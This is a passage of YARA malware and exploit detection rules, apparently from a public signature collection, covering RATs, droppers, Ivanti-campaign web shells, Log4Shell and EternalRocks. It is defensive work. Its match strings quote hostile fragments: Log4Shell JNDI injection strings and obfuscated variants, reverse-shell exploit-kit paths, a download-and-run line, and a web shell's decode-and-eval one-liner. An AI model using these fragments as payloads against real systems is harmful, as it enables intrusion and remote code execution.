		$s1 = "Coded By M3" fullword wide
		$s2 = "Stub Undetector M3" fullword wide
		$s3 = "www.webmenegatti.com.br" wide
		$s4 = "M3n3gatt1" fullword wide
		$s5 = "TheMisterFUD" fullword wide
		$s6 = "KillZoneKillZoneKill" fullword ascii
		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
		$s8 = "M3_F_U_D_M3" ascii
		$s9 = "M3n3gatt1hack3r" fullword wide
		$s10 = "M3n3gatt1hack3r" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 1 of them
}

rule BergSilva_Malware
{
	meta:
		description = "Detects a malware from the same author as the Indetectables RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-10-01"
		super_rule = 1
		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
		id = "5f35aea6-1d80-594a-a6e0-8e8bb30bc358"

	strings:
		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
		$s5 = "https://dl.dropbox.com/u/105015858" wide

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or 2 of ( $s* ) )
}

rule Gen_Trojan_Mikey
{
	meta:
		description = "Trojan Mikey - file sample_mikey.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-05-07"
		hash = "a8e6c3ca056b3ff2495d7728654b780735b3a4cb"
		score = 70
		id = "ff875436-4fed-5f20-a0a5-bfd146d93499"

	strings:
		$s0 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS" fullword ascii
		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)" fullword ascii
		$x3 = "%d*%u%s" fullword ascii
		$x4 = "%s %s:%d" fullword ascii
		$x5 = "Mnopqrst Vwxyabcde Ghijklm Opqrstuv Xya" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $s0 and 2 of ( $x* )
}

rule mimikatz_kirbi_ticket
{
	meta:
		description = "KiRBi ticket for mimikatz"
		author = "Benjamin DELPY (gentilkiwi); Didier Stevens"
		id = "a37249e0-ab3b-50c2-9473-1e69185713cc"

	strings:
		$asn1 = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
		$asn1_84 = { 76 84 ?? ?? ?? ?? 30 84 ?? ?? ?? ?? a0 84 00 00 00 03 02 01 05 a1 84 00 00 00 03 02 01 16 }

	condition:
		$asn1 at 0 or $asn1_84 at 0
}

rule LokiBot_Dropper_ScanCopyPDF_Feb18
{
	meta:
		description = "Auto-generated rule - file Scan Copy.pdf.com"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
		date = "2018-02-14"
		hash1 = "6f8ff26a5daf47effdea5795cdadfff9265c93a0ebca0ce5a4144712f8cab5be"
		id = "64c45d91-4e18-5fd1-8d93-b5db4df7da29"

	strings:
		$x1 = "Win32           Scan Copy.pdf   " fullword wide
		$a1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
		$s1 = "Compiling2.exe" fullword wide
		$s2 = "Unstalled2" fullword ascii
		$s3 = "Compiling.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and $x1 or ( $a1 and 1 of ( $s* ) )
}

rule LokiBot_Dropper_Packed_R11_Feb18
{
	meta:
		description = "Auto-generated rule - file scan copy.pdf.r11"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
		date = "2018-02-14"
		hash1 = "3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029"
		id = "83cd6225-eb6d-5d17-a751-51f20db9c7eb"

	strings:
		$s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii

	condition:
		uint16( 0 ) == 0x0000 and filesize < 2000KB and 1 of them
}

rule EXPL_GitLab_CE_RCE_CVE_2021_22205
{
	meta:
		description = "Detects signs of exploitation of GitLab CE CVE-2021-22205"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/"
		date = "2021-10-26"
		score = 70
		id = "21cc6fa7-e50d-5b8e-815d-27315ab5635d"

	strings:
		$sa1 = "VXNlci5maW5kX2J5KHVzZXJuYW1l" ascii
		$sa2 = "VzZXIuZmluZF9ieSh1c2VybmFtZ" ascii
		$sa3 = "Vc2VyLmZpbmRfYnkodXNlcm5hbW" ascii
		$sb1 = "dXNlci5hZG1pb" ascii
		$sb2 = "VzZXIuYWRtaW" ascii
		$sb3 = "1c2VyLmFkbWlu" ascii
		$sc1 = "dXNlci5zYXZlI" ascii
		$sc2 = "VzZXIuc2F2ZS" ascii
		$sc3 = "1c2VyLnNhdmUh" ascii

	condition:
		1 of ( $sa* ) and 1 of ( $sb* ) and 1 of ( $sc* )
}

rule EXPL_GitLab_CE_RCE_Malformed_JPG_CVE_2021_22204
{
	meta:
		description = "Detects malformed JPG files exploting EXIF vulnerability CVE-2021-22204 and used in the exploitation of GitLab vulnerability CVE-2021-22205"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=blog"
		date = "2021-10-26"
		score = 70
		id = "3d769340-0306-596d-8783-2b37b93a5673"

	strings:
		$h1 = { 41 54 26 54 46 4F 52 4D }
		$sr1 = /\(metadata[\s]{0,3}\([A-Za-z]{1,20} "\\/

	condition:
		filesize < 10KB and $h1 and $sr1
}

rule APT_UNC5221_Ivanti_ForensicArtifacts_Jan24_1
{
	meta:
		description = "Detects forensic artifacts found in the Ivanti VPN exploitation campaign by APT UNC5221"
		author = "Florian Roth"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		date = "2024-01-11"
		score = 75

	strings:
		$x1 = "system(\"chmod a+x /home/etc/sql/dsserver/sessionserver.sh\");"
		$x2 = "SSH-2.0-OpenSSH_0.3xx."
		$x3 = "sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install"

	condition:
		filesize < 5MB and 1 of them
}

rule M_Hunting_Backdoor_ZIPLINE_1
{
	meta:
		author = "Mandiant"
		description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits for incoming TCP connections to receive commands from the threat actor."
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		date = "2024-01-11"
		score = 75

	strings:
		$s1 = "SSH-2.0-OpenSSH_0.3xx" ascii
		$s2 = "$(exec $installer $@)" ascii
		$t1 = "./installer/do-install" ascii
		$t2 = "./installer/bom_files/" ascii
		$t3 = "/tmp/data/root/etc/ld.so.preload" ascii
		$t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii

	condition:
		uint32( 0 ) == 0x464c457f and filesize < 5MB and ( ( 1 of ( $s* ) ) or ( 3 of ( $t* ) ) )
}

rule M_Hunting_Dropper_WIREFIRE_1
{
	meta:
		author = "Mandiant"
		description = "This rule detects WIREFIRE, a web shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."
		md5 = "6de651357a15efd01db4e658249d4981"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		date = "2024-01-11"
		score = 75

	strings:
		$s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii
		$s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii
		$s3 = "Handles DELETE request to delete an existing visits data." ascii
		$s4 = "request.data.decode().startswith('GIF'):" ascii
		$s5 = "Utils.api_log_admin" ascii

	condition:
		filesize < 10KB and all of them
}

rule M_Hunting_Webshell_LIGHTWIRE_2
{
	meta:
		author = "Mandiant (modified by Florian Roth)"
		description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner."
		md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		date = "2024-01-11"
		modified = "2024-01-12"
		score = 75

	strings:
		$s1 = "eval{my"
		$s2 = "Crypt::RC4->new(\""
		$s3 = "->RC4(decode_base64(CGI::param('"
		$s4 = ";eval $"
		$s5 = "\"Compatibility check: $@\";}"

	condition:
		filesize < 10KB and all of them
}

rule M_Hunting_Dropper_THINSPOOL_1
{
	meta:
		author = "Mandiant"
		description = "This rule detects THINSPOOL, a dropper that installs the LIGHTWIRE web shell onto a Pulse Secure system."
		md5 = "677c1aa6e2503b56fe13e1568a814754"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		date = "2024-01-11"
		score = 75

	strings:
		$s1 = "/tmp/qactg/" ascii
		$s2 = "echo '/home/config/dscommands'" ascii
		$s3 = "echo '/home/perl/DSLogConfig.pm'" ascii
		$s4 = "ADM20447" ascii

	condition:
		filesize < 10KB and all of them
}

rule M_Hunting_CredTheft_WARPWIRE_1
{
	meta:
		author = "Mandiant"
		description = "This rule detects WARPWIRE, a credential stealer written in JavaScript that is embedded into a legitimate Pulse Secure file."
		md5 = "d0c7a334a4d9dcd3c6335ae13bee59ea"
		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
		date = "2024-01-11"
		score = 75

	strings:
		$s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}
		$s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}
		$s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}
		$s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74}
		$s5 = "Remember the last selected auth realm for 30 days" ascii

	condition:
		filesize < 8KB and all of them
}

rule TA17_318B_volgmer
{
	meta:
		description = "Malformed User Agent in Volgmer malware"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
		date = "2017-11-15"
		id = "20a7f64b-0fee-5235-ac91-2fc811497ac6"

	strings:
		$s = "Mozillar/"

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and $s
}

import "pe"

rule Volgmer_Malware
{
	meta:
		description = "Detects Volgmer malware as reported in US CERT TA17-318B"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
		date = "2017-11-15"
		hash1 = "ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd"
		hash2 = "8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b"
		hash3 = "eff3e37d0406c818e3430068d90e7ed2f594faa6bb146ab0a1c00a2f4a4809a5"
		hash4 = "e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11"
		hash5 = "6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1"
		hash6 = "fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9"
		hash7 = "53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d"
		hash8 = "1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d"
		id = "a8df5f70-69e7-5c95-8af7-7dda6bb9c77a"

	strings:
		$x1 = "User-Agent: Mozillar/5.0" fullword ascii
		$x2 = "[Cmd] - CMD_BOTCMD_CONNLOG_GET" fullword wide
		$x3 = "[TestConnect To Bot] - Port = %d" fullword ascii
		$x4 = "b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d7" ascii
		$s1 = "%sigfx%c%c%c.exe" fullword wide
		$s2 = "H_%s_%016I64X_%04d%02d%02d%02d%02d%02d.TXT" fullword ascii
		$s3 = "cmd.exe /c %s > %s 2>&1" fullword wide
		$s4 = "%s\\dllcache\\%s.dll" fullword ascii
		$s5 = "Cond Fail." fullword ascii
		$s6 = "The %s %s%s" fullword ascii
		$s7 = "%s \"%s\"%s \"%s\" %s \"%s\"" fullword ascii
		$s8 = "DLL_Spider.dll" fullword ascii

	condition:
		filesize < 400KB and ( 1 of ( $x* ) or ( uint16( 0 ) == 0x5a4d and 2 of them ) ) or ( uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "ea42395e901b33bad504798e0f0fd74b" )
}

rule Cobaltgang_PDF_Metadata_Rev_A
{
	meta:
		description = "Find documents saved from the same potential Cobalt Gang PDF template"
		author = "Palo Alto Networks Unit 42"
		date = "2018-10-25"
		reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
		id = "bcf5bf6e-c786-5f78-bf58-e0631a17e62e"

	strings:
		$ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide

	condition:
		any of them
}

import "pe"

rule MAL_WIPER_IsaacWiper_Mar22_1
{
	meta:
		description = "Detects IsaacWiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
		date = "2022-03-03"
		score = 85
		hash1 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
		hash2 = "7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0"
		id = "97d8d8dd-db65-5156-8f97-56c620cf2d56"

	strings:
		$s1 = "C:\\ProgramData\\log.txt" wide fullword
		$s2 = "Cleaner.dll" ascii fullword
		$s3 = "-- system logical drive: " wide fullword
		$s4 = "-- FAILED" wide fullword
		$op1 = { 8b f1 80 3d b0 66 03 10 00 0f 85 96 00 00 00 33 c0 40 b9 a8 66 03 10 87 01 33 db }
		$op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 a2 c8 01 10 2b c1 6a 04 }
		$op3 = { 8d 4d f4 ff 75 08 e8 12 ff ff ff 68 88 39 03 10 8d 45 f4 50 e8 2d 1d 00 00 cc }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( pe.imphash ( ) == "a4b162717c197e11b76a4d9bc58ea25d" or 3 of them )
}

rule crime_h2miner_kinsing
{
	meta:
		description = "Rule to find Kinsing malware"
		author = "Tony Lambert, Red Canary"
		date = "2020-06-09"
		id = "1cabca0d-7134-517e-b82e-f2b20b4d1c34"

	strings:
		$s1 = "-iL $INPUT --rate $RATE -p$PORT -oL $OUTPUT"
		$s2 = "libpcap"
		$s3 = "main.backconnect"
		$s4 = "main.masscan"
		$s5 = "main.checkHealth"
		$s6 = "main.redisBrute"
		$s7 = "ActiveC2CUrl"
		$s8 = "main.RC4"
		$s9 = "main.runTask"

	condition:
		( uint32( 0 ) == 0x464C457F ) and filesize > 1MB and all of them
}

rule RevengeRAT_Sep17
{
	meta:
		description = "Detects RevengeRAT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-04"
		modified = "2020-07-27"
		hash1 = "2a86a4b2dcf1657bcb2922e70fc787aa9b66ec1c26dc2119f669bd2ce3f2e94a"
		hash2 = "7c271484c11795876972aabeb277c7b3035f896c9e860a852d69737df6e14213"
		hash3 = "fe00c4f9c8439eea50b44f817f760d8107f81e2dba7f383009fde508ff4b8967"
		id = "7e58af06-a0ce-532c-9483-b1eca5e3cc28"

	strings:
		$x1 = "Nuclear Explosion.g.resources" fullword ascii
		$x4 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
		$x5 = "\\RevengeRAT\\" ascii
		$x6 = "Revenge-RAT client has been successfully installed." ascii
		$x7 = "Nuclear Explosion.exe" fullword ascii
		$x8 = " Revenge-RAT 201" wide
		$s1 = "{11111-22222-20001-00001}" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule Invoke_Mimikatz
{
	meta:
		description = "Detects Invoke-Mimikatz String"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz"
		date = "2016-08-03"
		hash1 = "f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67"
		id = "37de51a6-e1bb-5ee7-9b7f-8fe17b3697b5"

	strings:
		$x2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm" ascii
		$x3 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii

	condition:
		1 of them
}

rule MAL_Winnti_BR_Report_TwinPeaks
{
	meta:
		description = "Detects Winnti samples"
		author = "@br_data repo"
		reference = "https://github.com/br-data/2019-winnti-analyse"
		date = "2019-07-24"
		id = "2e4e2b88-fdb4-5adc-8192-a304d71ca851"

	strings:
		$cooper = "Cooper"
		$pattern = { e9 ea eb ec ed ee ef f0}

	condition:
		uint16( 0 ) == 0x5a4d and $cooper and ( $pattern in ( @cooper [ 1 ] .. @cooper [ 1 ] + 100 ) )
}

import "pe"

rule MAL_BR_Report_TheDao
{
	meta:
		description = "Detects indicator in malicious UPX packed samples"
		author = "@br_data repo"
		reference = "https://github.com/br-data/2019-winnti-analyse"
		date = "2019-07-24"
		id = "5cc932d7-2ec6-5570-af4a-3f64b39e6db5"

	strings:
		$b = { DA A0 }

	condition:
		uint16( 0 ) == 0x5a4d and $b at pe.overlay.offset and pe.overlay.size > 100
}

rule MAL_Winnti_BR_Report_MockingJay
{
	meta:
		description = "Detects Winnti samples"
		author = "@br_data repo"
		reference = "https://github.com/br-data/2019-winnti-analyse"
		date = "2019-07-24"
		id = "9aff9d65-3827-59de-9dc3-38f227155d3d"

	strings:
		$load_magic = { C7 44 ?? ?? FF D8 FF E0 }
		$iter = { E9 EA EB EC ED EE EF F0 }
		$jpeg = { FF D8 FF E0 00 00 00 00 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and $jpeg and ( $load_magic or $iter in ( @jpeg [ 1 ] .. @jpeg [ 1 ] + 200 ) ) and for any i in ( 1 .. #jpeg ) : ( uint8( @jpeg [ i ] + 11 ) != 0 )
}

rule EXPL_Log4j_CallBackDomain_IOCs_Dec21_1
{
	meta:
		description = "Detects IOCs found in Log4Shell incidents that indicate exploitation attempts of CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8"
		date = "2021-12-12"
		score = 60
		id = "474afa96-1758-587e-8cab-41c5205e245e"

	strings:
		$xr1 = /\b(ldap|rmi):\/\/([a-z0-9\.]{1,16}\.bingsearchlib\.com|[a-z0-9\.]{1,40}\.interact\.sh|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):[0-9]{2,5}\/([aZ]|ua|Exploit|callback|[0-9]{10}|http443useragent|http80useragent)\b/

	condition:
		1 of them
}

rule EXPL_JNDI_Exploit_Patterns_Dec21_1
{
	meta:
		description = "Detects JNDI Exploit Kit patterns in files"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/pimps/JNDI-Exploit-Kit"
		date = "2021-12-12"
		score = 60
		id = "a9127dd2-b818-5ca8-877a-3c47b1e92606"

	strings:
		$x01 = "/Basic/Command/Base64/"
		$x02 = "/Basic/ReverseShell/"
		$x03 = "/Basic/TomcatMemshell"
		$x04 = "/Basic/JettyMemshell"
		$x05 = "/Basic/WeblogicMemshell"
		$x06 = "/Basic/JBossMemshell"
		$x07 = "/Basic/WebsphereMemshell"
		$x08 = "/Basic/SpringMemshell"
		$x09 = "/Deserialization/URLDNS/"
		$x10 = "/Deserialization/CommonsCollections1/Dnslog/"
		$x11 = "/Deserialization/CommonsCollections2/Command/Base64/"
		$x12 = "/Deserialization/CommonsBeanutils1/ReverseShell/"
		$x13 = "/Deserialization/Jre8u20/TomcatMemshell"
		$x14 = "/TomcatBypass/Dnslog/"
		$x15 = "/TomcatBypass/Command/"
		$x16 = "/TomcatBypass/ReverseShell/"
		$x17 = "/TomcatBypass/TomcatMemshell"
		$x18 = "/TomcatBypass/SpringMemshell"
		$x19 = "/GroovyBypass/Command/"
		$x20 = "/WebsphereBypass/Upload/"
		$fp1 = "<html"

	condition:
		1 of ( $x* ) and not 1 of ( $fp* )
}

rule EXPL_Log4j_CVE_2021_44228_JAVA_Exception_Dec21_1
{
	meta:
		description = "Detects exceptions found in server logs that indicate an exploitation attempt of CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b"
		date = "2021-12-12"
		score = 60
		id = "82cf337e-4ea1-559b-a7b8-512a07adf06f"

	strings:
		$xa1 = "header with value of BadAttributeValueException: "
		$sa1 = ".log4j.core.net.JndiManager.lookup(JndiManager"
		$sa2 = "Error looking up JNDI resource"

	condition:
		$xa1 or all of ( $sa* )
}

rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft : FILE
{
	meta:
		description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
		date = "2021-12-10"
		modified = "2021-12-20"
		score = 60
		id = "87e536a5-cc11-528a-b100-4fa3b2b7bc0c"

	strings:
		$x01 = "${jndi:ldap:/"
		$x02 = "${jndi:rmi:/"
		$x03 = "${jndi:ldaps:/"
		$x04 = "${jndi:dns:/"
		$x05 = "${jndi:iiop:/"
		$x06 = "${jndi:http:/"
		$x07 = "${jndi:nis:/"
		$x08 = "${jndi:nds:/"
		$x09 = "${jndi:corba:/"
		$fp1 = "<html"
		$fp2 = "/nessus}"

	condition:
		1 of ( $x* ) and not 1 of ( $fp* )
}

rule EXPL_Log4j_CVE_2021_44228_Dec21_OBFUSC
{
	meta:
		description = "Detects obfuscated indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
		date = "2021-12-12"
		modified = "2021-12-13"
		score = 60
		id = "d7c4092a-6ffc-5a89-b73a-f7f0ac984cbd"

	strings:
		$x1 = "$%7Bjndi:"
		$x2 = "%2524%257Bjndi"
		$x3 = "%2F%252524%25257Bjndi%3A"
		$x4 = "${jndi:${lower:"
		$x5 = "${::-j}${"
		$x6 = "${${env:BARFOO:-j}"
		$x7 = "${::-l}${::-d}${::-a}${::-p}"
		$x8 = "${base64:JHtqbmRp"
		$fp1 = "<html"

	condition:
		1 of ( $x* ) and not 1 of ( $fp* )
}

rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard : FILE
{
	meta:
		description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
		author = "Florian Roth"
		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
		date = "2021-12-10"
		modified = "2023-10-23"
		score = 75
		id = "5297c42d-7138-507d-a3eb-153afe522816"

	strings:
		$x1 = /\$\{jndi:(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
		$x2 = "Reference Class Name: foo"
		$fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
		$fpg2 = "<html"
		$fpg3 = "<HTML"
		$fp1 = "/QUALYSTEST" ascii
		$fp2 = "w.nessus.org/nessus"
		$fp3 = "/nessus}"

	condition:
		1 of ( $x* ) and not 1 of ( $fp* )
}

rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21
{
	meta:
		description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/Reelix/status/1469327487243071493"
		date = "2021-12-10"
		modified = "2021-12-13"
		score = 70
		id = "09abc4f0-ace7-5f53-b1d3-5f5c6bf3bdba"

	strings:
		$sa1 = "Y3VybCAtcy"
		$sa2 = "N1cmwgLXMg"
		$sa3 = "jdXJsIC1zI"
		$sb1 = "fHdnZXQgLXEgLU8tI"
		$sb2 = "x3Z2V0IC1xIC1PLS"
		$sb3 = "8d2dldCAtcSAtTy0g"
		$fp1 = "<html"

	condition:
		1 of ( $sa* ) and 1 of ( $sb* ) and not 1 of ( $fp* )
}

rule SUSP_JDNIExploit_Indicators_Dec21
{
	meta:
		description = "Detects indicators of JDNI usage in log files and other payloads"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/flypig5211/JNDIExploit"
		date = "2021-12-10"
		modified = "2021-12-12"
		score = 70
		id = "2df8b8f3-8d8d-5982-8c85-692b7d91ebb2"

	strings:
		$xr1 = /(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/\/[a-zA-Z0-9\.]{7,80}:[0-9]{2,5}\/(Basic\/Command\/Base64|Basic\/ReverseShell|Basic\/TomcatMemshell|Basic\/JBossMemshell|Basic\/WebsphereMemshell|Basic\/SpringMemshell|Basic\/Command|Deserialization\/CommonsCollectionsK|Deserialization\/CommonsBeanutils|Deserialization\/Jre8u20\/TomcatMemshell|Deserialization\/CVE_2020_2555\/WeblogicMemshell|TomcatBypass|GroovyBypass|WebsphereBypass)\//

	condition:
		filesize < 100MB and $xr1
}

rule SUSP_EXPL_OBFUSC_Dec21_1
{
	meta:
		description = "Detects obfuscation methods used to evade detection in log4j exploitation attempt of CVE-2021-44228"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/testanull/status/1469549425521348609"
		date = "2021-12-11"
		modified = "2022-11-08"
		score = 60
		id = "b8f56711-7922-54b9-9ce2-6ba05d64c80d"

	strings:
		$f1 = { 24 7B 6C 6F 77 65 72 3A ?? 7D }
		$f2 = { 24 7B 75 70 70 65 72 3A ?? 7D }
		$x3 = "$%7blower:"
		$x4 = "$%7bupper:"
		$x5 = "%24%7bjndi:"
		$x6 = "$%7Blower:"
		$x7 = "$%7Bupper:"
		$x8 = "%24%7Bjndi:"
		$fp1 = "<html"

	condition:
		(1 of ( $x* ) or filesize < 200KB and 1 of ( $f* ) ) and not 1 of ( $fp* )
}

rule SUSP_JDNIExploit_Error_Indicators_Dec21_1
{
	meta:
		description = "Detects error messages related to JDNI usage in log files that can indicate a Log4Shell / Log4j exploitation"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/marcioalm/status/1470361495405875200?s=20"
		date = "2021-12-10"
		modified = "2023-06-23"
		score = 70
		id = "68bcf043-58b4-54a9-b024-64871b5d535f"

	strings:
		$x1 = "FATAL log4j - Message: BadAttributeValueException: "

	condition:
		1 of them
}

rule EternalRocks_taskhost
{
	meta:
		description = "Detects EternalRocks Malware - file taskhost.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/stamparm/status/864865144748298242"
		date = "2017-05-18"
		hash1 = "cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30"
		id = "8926cdf8-6a3c-5237-80f5-bda9efb39a32"

	strings:
		$x1 = "EternalRocks.exe" fullword wide
		$s1 = "sTargetIP" fullword ascii
		$s2 = "SERVER_2008R2_SP0" fullword ascii
		$s3 = "20D5CCEE9C91A1E61F72F46FA117B93FB006DB51" fullword ascii
		$s4 = "9EBF75119B8FC7733F77B06378F9E735D34664F6" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and 1 of ( $x* ) or 3 of them )
}

rule EternalRocks_svchost
{
	meta:
		description = "Detects EternalRocks Malware - file taskhost.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
